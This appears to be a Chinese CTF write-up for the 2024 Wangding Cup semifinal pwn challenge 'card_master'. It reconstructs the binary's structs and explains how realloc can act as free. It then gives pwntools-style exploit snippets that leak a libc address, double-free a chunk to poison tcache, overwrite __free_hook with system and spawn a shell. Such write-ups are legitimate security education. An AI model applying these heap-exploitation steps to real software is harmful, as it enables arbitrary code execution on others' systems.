2024网鼎杯半决card_master详细分析
结构体分析
第一个结构体
malloc(0x28)这个堆块
可以看出
v4[0]为 花色数量 v4[1]为不同牌的数量 两个都是unsigned int或者int 型 占四个字节
v4[2] 为 随机的次数 占8个字节
v4[3] 为指针 指向 存放花色的地址
v4[4] 指向一个函数 sub_D31
v4[5]实际上指向了
malloc` 返回的新内存块为一个新的结构体
v4的结构体为
struct v4
{
unsigned int hua_se_num;
unsigned int card_num;
unsigned __int64 random_times;
char *huase;
void *function;
struct mem *data;
}
第二个结构体
v4->data也指向一个结构体
struct mem
{
struct card *suit[4];
}
第三个结构体
struct card {
struct card_range card_range[13];
};
第四个结构体
struct card_range
{
unsigned __int64 id;
unsigned __int64 num;
}
搭建好结构体后程序是这样子
漏洞分析
关键点在set功能
这里存在一个realloc函数的调用,而整个功能点中是不存在free这个功能的,这里利用的是realloc的机制
realloc(ptr, size)有两个参数
- 当size==0的时候:此时等同于free,相当于free(ptr) 并且返回的是空指针,没有uaf漏洞
-
ptr==0,size>0的时候:此时等同于malloc(size)
-
如果
realloc_ptr
指向的内存块的可用大小,大于或等于请求的大小size
,realloc
将会保留原来的指针地址,并且不会移动内存块。此时,realloc
会将多余的内存释放掉,以把内存块的大小精确调整到size
字节。而如果原先的块大小大于size
,则会减少内存的使用,但指针ptr
仍然指向原先的内存地址,不会改变指向的位置。 - 当
realloc_ptr
指向的内存块的可用大小小于请求的大小时,realloc
函数会通过malloc
分配一块新的、足够大的内存,随后将原内存块的内容复制到新的内存块中。这一过程确保原始数据不会丢失,完成后旧内存块会被释放以避免内存泄漏。如果分配成功,realloc
返回新的内存块指针;若分配失败,则返回NULL
,原指针保持不变。
因此我们可以实现一个edit和free的效果
realloc(ptr,0)则是free 而free后的地址还是存在 原来那个堆块上的,我们可以通过show把结构体show出来以实现泄露地址的功能
动态调试
泄露libc地址
edit(0x200,b'aaaa')
free()
show()
#--------------------------------------
rl("uit chara set:")
libc_addr=h64()
print(hex(libc_addr))
pause()
libc.address=libc_addr-0x3ebca0
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
因此泄露出libc 然后由于没有检测 直接double free
double free
edit(0x200,b'aaaa')
edit(0x20,b'a')
free()
free()
edit(0x20,p64(free_hook))
pause()
取出堆块这部分有点难 因为realloc 的ptr不可能为0实现不了malloc的功能 而要malloc 我们要满足这个条件
所以我们需要init初始化 然后去malloc 取出堆块 再修改free_hook 为system
取出利用并且拿shell
init()
edit(0x20,b'a')
init()
edit(0x20,p64(system))
init()
edit(0x40,b'/bin/sh\x00')
free()
0 条评论
可输入 255 字